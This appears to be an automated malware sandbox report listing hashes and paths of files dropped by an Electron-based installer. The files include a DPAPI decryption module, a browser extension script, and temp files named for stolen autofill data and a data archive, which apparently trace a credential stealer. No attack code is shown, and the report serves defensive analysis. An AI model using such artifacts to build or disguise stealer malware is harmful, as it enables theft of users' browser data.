MD5 9a641272dc25d0908bb79aae27ab2c51
SHA1 8ba37601520be18691a47c6ab496e4f6db32c6da
SHA512 3e636c8d985f24684dd1124ed58d2ab8b6ef396e0cecdb9da04d220a027105bf71511da82b8cc54bfbca2901e23887a740fe00828a2a647fc090b68a925d2874
SSDEEP 98304:pZryi6+pkrht455GGPeenn0dJGO4EpxIvMi8rwrGU3nAabpdkmYAzFKwR4:DmilpkrP455GGHnbEXU8kr1Xddf1FvG
TLSH
T127463395B364CD27E86C0B7E41E442324378D12627533A1B319CF16C6EBC29E5BA297E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.asar

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\resources\app.asar
Size 10.8MB
SHA256 4fc85ad87e12361ec3157146057910833ccc66a76404df49a384512d9fda5cd8
MD5 d79ac40d488cad7ebbb84659a65fce0d
SHA1 44a5405bd8f0e11b937bd519bd901428fb319558
SHA512 98d72c54684507ccaeccfe8459ffbad364b8760b869c0c01cc8cfa53e157cc24357f35da188b2e34fdee7cdf9bf5c22a77e88043f478755b12f66a694a7b2125
SSDEEP 49152:ph0TwALjZHaZrQwuqZ2PRr9ZKq7o3MtFUnB6TrovR+wNIIQaF9D3Z86P6kp0dv13:EwAfUS3
TLSH
T108B618446AE2B013028B6277BF4FA55AE235D813554CE852B44CFA9C6F9C02ED2F6FD4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\resources\app.asar.unpacked\node_modules\@primno\dpapi\LICENSE
Size 1KB
SHA256 455dda47a3fc2f58ab06d8e526f490ec43d0fc23a5ea80dd0942644397316d9b
MD5 7bd114b023fa6209fb7b02150a202ccc
SHA1 4451515f9d7b16ce8983abb4e85609fe4162c4d4
SHA512 87ee4dc1da13937055eade250f1f8a357f549c709b9659258c137009060080aca5cfd979890a7b2d662083f4c646cce9af6e20774b58541af9e712fb5f4f1c60
TLSH
T15F11861F72950363189257615569ECC5F12BB14A7FAB1A84346DF209132605CC5FFC64
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\resources\app.asar.unpacked\node_modules\@primno\dpapi\dist\index.js
Size 412B
SHA256 a7ff0225cb5ebcbef8499c6c8ac2be924f584eb375dacb1d8bd3dc6540b510f2
MD5 0b33e83d33b01a51625a0fdcbef42ce3
SHA1 1c29d999ff7da39426b97f2eb31a3d83db8f5fc7
SHA512 1d04caf4fc2e876bdf2a089ae938a41fe4d3f2928aa846709bafd2de236fa8c754fcc84d7e8a5f5734bc1cecc04b395ab9d2114945b35e8c85cd3b9ee8f9799c
TLSH
T1BFE02B177EF5E8EAC64082CA4736D4531EE98CBB3600781AE2CA8AF25315984E490D24
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\resources\app.asar.unpacked\node_modules\@primno\dpapi\package.json
Size 934B
SHA256 59f4704391d2247b2a8d029d7338566d47d2ff0cd7477c49343efe93475f7a12
MD5 83a6b767cd4ade2116654eb0a90fec3c
SHA1 07a0f29ddb1c8a48947ee05bb4d6ec3d2abe1df9
SHA512 404ed15686b7d611ba8aeac12e706af75a876502c51e40e48a598d05a9ac89f88902b2830a5c679f9bb7931f5c33bb10da3a32753fdb8c71a9d7b4346a1be8d0
TLSH
T134112336C928C9630BC819D5EC391252A6224C1B8D58FE0D37D2836C8B1D1BF32BD66C
MD5 SHA1 SHA512 TLSH

Submit Download

node.napi.node

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\resources\app.asar.unpacked\node_modules\@primno\dpapi\prebuilds\win32-x64\node.napi.node
Size 137KB
SHA256 da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd
MD5 04bfbfec8db966420fe4c7b85ebb506a
SHA1 939bb742a354a92e1dcd3661a62d69e48030a335
SHA512 4ea97a9a120ed5bee8638e0a69561c2159fc3769062d7102167b0e92b4f1a5c002a761bd104282425f6cee8d0e39dbe7e12ad4e4a38570c3f90f31b65072dd65
SSDEEP 3072:94PTD6FEzMju6bzJKjpEPeTOKvJhEnww+YbRYvPuq:94jQju6b9KilKvJurR8W
TLSH
T1B3D37D4BB3A500BBE176C639C8934A05E776B81517619B9F03A0475B1F237D1EE3EB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevate.exe

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\resources\elevate.exe
Size 105KB
SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
MD5 792b92c8ad13c46f27c7ced0810694df
SHA1 d8d449b92de20a57df722df46435ba4553ecc802
SHA512 6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40
SSDEEP 3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
TLSH
T1EBB37C1274C0C471E5732A361974CAB14AADFD700E759FAF6398127A4FA01D09A3AFB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snapshot_blob.bin

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\snapshot_blob.bin
Size 309KB
SHA256 31b6067f7e43c00946343d88f5f9167151543292211874f1edf8ba9b6b19d9eb
MD5 bdf2e2cab5037adc41774fa1caba8ea1
SHA1 b1669825b4ec8661d2f65eaf70eb2abef1ff0e10
SHA512 5138e55645dda2918ef73638547fd8851b7bd3211c5fd5ac4f8331c5cf48425af58d4fb8aee223b12606865b37ade17bf8252d2dc079f3a5c432af5ab913d8fc
SSDEEP 3072:M+JfFRciefJNlUMX2kIE1aOaVsS/3hYeFWYSITdJgClE+ceNTbM:MefPciePmMXh1aOCsy3hpFRlzVw
TLSH
T17764FB44B660CB16D75526B48CE8DB993A78F2CD6F06AA0F318D43FD3976B340A053AD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\v8_context_snapshot.bin
Size 671KB
SHA256 96539ed02416163441b9847175f2ec1f5708e321e1fad25b03ff7b47b7aa991e
MD5 04d61b8d7f3e6a3a81df5bdf418904f1
SHA1 353ec04045f72d7712e013bc0e1e782e24275015
SHA512 608021d64470fdc4cfd20e55b92dbf2e901b1d239395ca7754df1260cb7884f45f175951a81ed5cfc6165c1cd91997725a2ca060b7cf701102bad33c1cf34054
SSDEEP 6144:iPYRCOn2E6keR1PciePmMXh1aOCsy3hbHRlEDMrVkSiF01gwoHZHCvqmO9iXz8pk:iPY5nnbe3WZBr/iXo73nVE+2l
TLSH
T1C4E493A5B311DB02C7C95DB89DE5CB563E79F08AAF0BA51B314803FE6036B750A0536E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader.dll

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\vk_swiftshader.dll
Size 5.3MB
SHA256 22b81a04d2d7ff13c86317148080a7feb1d967ebdf10ba8d2446dad6db849913
MD5 251f0372d263f52c9593fb39d4ef621d
SHA1 e01a91d211e442dc9cc43e74a8bae9708a82a971
SHA512 c32afda44ee135a1be318e07dd965deeb440c9c56515d61343b11cef09254508ee8d67c3fe0d08201eece9575671ac0fd69ab1d280de94f2ee949e6bbb62ed34
SSDEEP 49152:KaNFNu2naDoYXAqk7ZSrblOR5HAlUDv/FelNotSOnaHJcF5C7d6mrI0VI2fa2E+8:p62naMskwtEMaQPJnyVh
TLSH
T145463803F2858099F05DE579875BA623F632B8811B72B6DF52A01F192E77FE06B39701
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader_icd.json

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\vk_swiftshader_icd.json
Size 106B
SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
MD5 8642dd3a87e2de6e991fae08458e302b
SHA1 9c06735c31cec00600fd763a92f8112d085bd12a
SHA512 f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f
TLSH
T1A6B01211430088B36062AF3C41811F468765411C36020D491040540E83BBDB6A102394
MD5 SHA1 SHA512 TLSH

Submit Download

vulkan-1.dll

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\7z-out\vulkan-1.dll
Size 874KB
SHA256 08e6cc4aa3e1154b1b236a0ad0837b35ad07daea2febc4e567e59c02b27d8646
MD5 4ecf3e42731c897fa4f0f74468c1874a
SHA1 4fb19be1e78b4f8206befd8ee05160a08436e392
SHA512 42d65eedc61236bfd7738ac57dd9489903f22dc7121cf74c03dfd4055155db783b4b69ee300da68a4c96e222a8793c753630c8144d7c6586207808c91d0fad86
SSDEEP 24576:f4cMT4Bv88wonwyHp9zDp6Z5WjDYsHy6g3P0zAk7TKC:f4bo3/nwyPzDp6Z5WjDYsHy6g3P0zAkP
TLSH
T1CA157C23E6648669E4768034C9D24A03C9F274921725B9CF02A84718BF6FFF47B7DB25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StdUtils.dll

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\StdUtils.dll
Size 100KB
SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
MD5 c6a6e03f77c313b267498515488c5740
SHA1 3d49fc2784b9450962ed6b82b46e9c3c957d7c15
SHA512 9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803
SSDEEP 3072:WNuZmJ9TDP3ahD2TF7Rq9cJNPhF9vyHf:WNuZ81zaAFHhF9v
TLSH
T125A33B62A2FA9CF5E4E70B3D1469BB264CBB7B383431D93F2342054B8534586DA2D35B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\System.dll
Size 12KB
SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
MD5 0d7ad4f45dc6f5aa87f606d0331c6901
SHA1 48df0911f0484cbe2a8cdd5362140b63c41ee457
SHA512 c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9
SSDEEP 192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
TLSH
T1BA428E12977049F2F1A0183C10A67F265FBEAE5C1BE445A39FE380867D652DF9436343
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nsis7z.dll

Path C:\Users\Admin\AppData\Local\Temp\nsw2D8F.tmp\nsis7z.dll
Size 424KB
SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
MD5 80e44ce4895304c6a3a831310fbf8cd0
SHA1 36bd49ae21c460be5753a904b4501f1abca53508
SHA512 c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df
SSDEEP 6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
TLSH
T1E9949E22B6D2C036C56E02309918F77921AEB3B1592DDB1B73985B6F7FB44C19E24B07
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1900_1326539139\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2808_1235639082\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2808_828544109\CRX_INSTALL\_locales\en_CA\messages.json
Size 711B
SHA256 2445cad863be47bb1c15b57a4960b7b0d01864e63cdfde6395f3b2689dc1444b
MD5 558659936250e03cc14b60ebf648aa09
SHA1 32f1ce0361bbfdff11e2ffd53d3ae88a8b81a825
SHA512 1632f5a3cd71887774bf3cb8a4d8b787ea6278271657b0f1d113dbe1a7fd42c4daa717cc449f157ce8972037572b882dc946a7dc2c0e549d71982dcdee89f727
TLSH
T1460197136240AF18470BF05BB9023442A0B44AC62384E0B775EC982C6656DAFB20B3B0
MD5 SHA1 SHA512 TLSH

Submit Download

[GB]-Ueoyvalh-autofills.txt

Path C:\Users\Admin\AppData\Local\Temp\syscache\[GB]-Ueoyvalh-autofills.txt
Size 20B
SHA256 dad2965b70971608681febd3efab4aadc8e7ac0fda2867c245e22d71a8555707
MD5 fa3b71b325d654e6ec6012826aef03f1
SHA1 653bb9384d40cafaf6d6ffb9c47d54d3e346246a
SHA512 2fb54ef9142e9dcbee3ea47e3ce350a71957ce49da8d509164d91ace29d999f9e6194e5d7c303767a829eff187ffcc1ab231a09430a1157a158f4372a442fd10
MD5 SHA1 SHA512

Submit Download

mvze24v3_y5kwp7_data_GB.zip

Path C:\Users\Admin\AppData\Local\Temp\syscache\mvze24v3_y5kwp7_data_GB.zip
Size 174B
SHA256 77cea325ffd3c303d5b83701d7c30dfee5d9cec2af52eafc7e8abe0a4efe183a
MD5 0eb3ffff1f57e7ebc4d4378b023f51ba
SHA1 9b1ca356ff822e820662dc645afabeb5270f5e48
SHA512 5a6d345f162902d1cde0e070926644e479e0246c9dae1ef6158b2fd5253c345727958f4eb86d612a799613cfef019e5fbeff15a85bfc77f625941924d16ee683
TLSH
T1DFC0120C927BB901E24AFA3BAB231BC30020A1CE12E865600018A8C89CA3AC0266AF04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5164-176-0x0000020CAB600000-0x0000020CAB622000-memory.dmp

Download

memory/5164-178-0x0000020CABB60000-0x0000020CABBB0000-memory.dmp

Download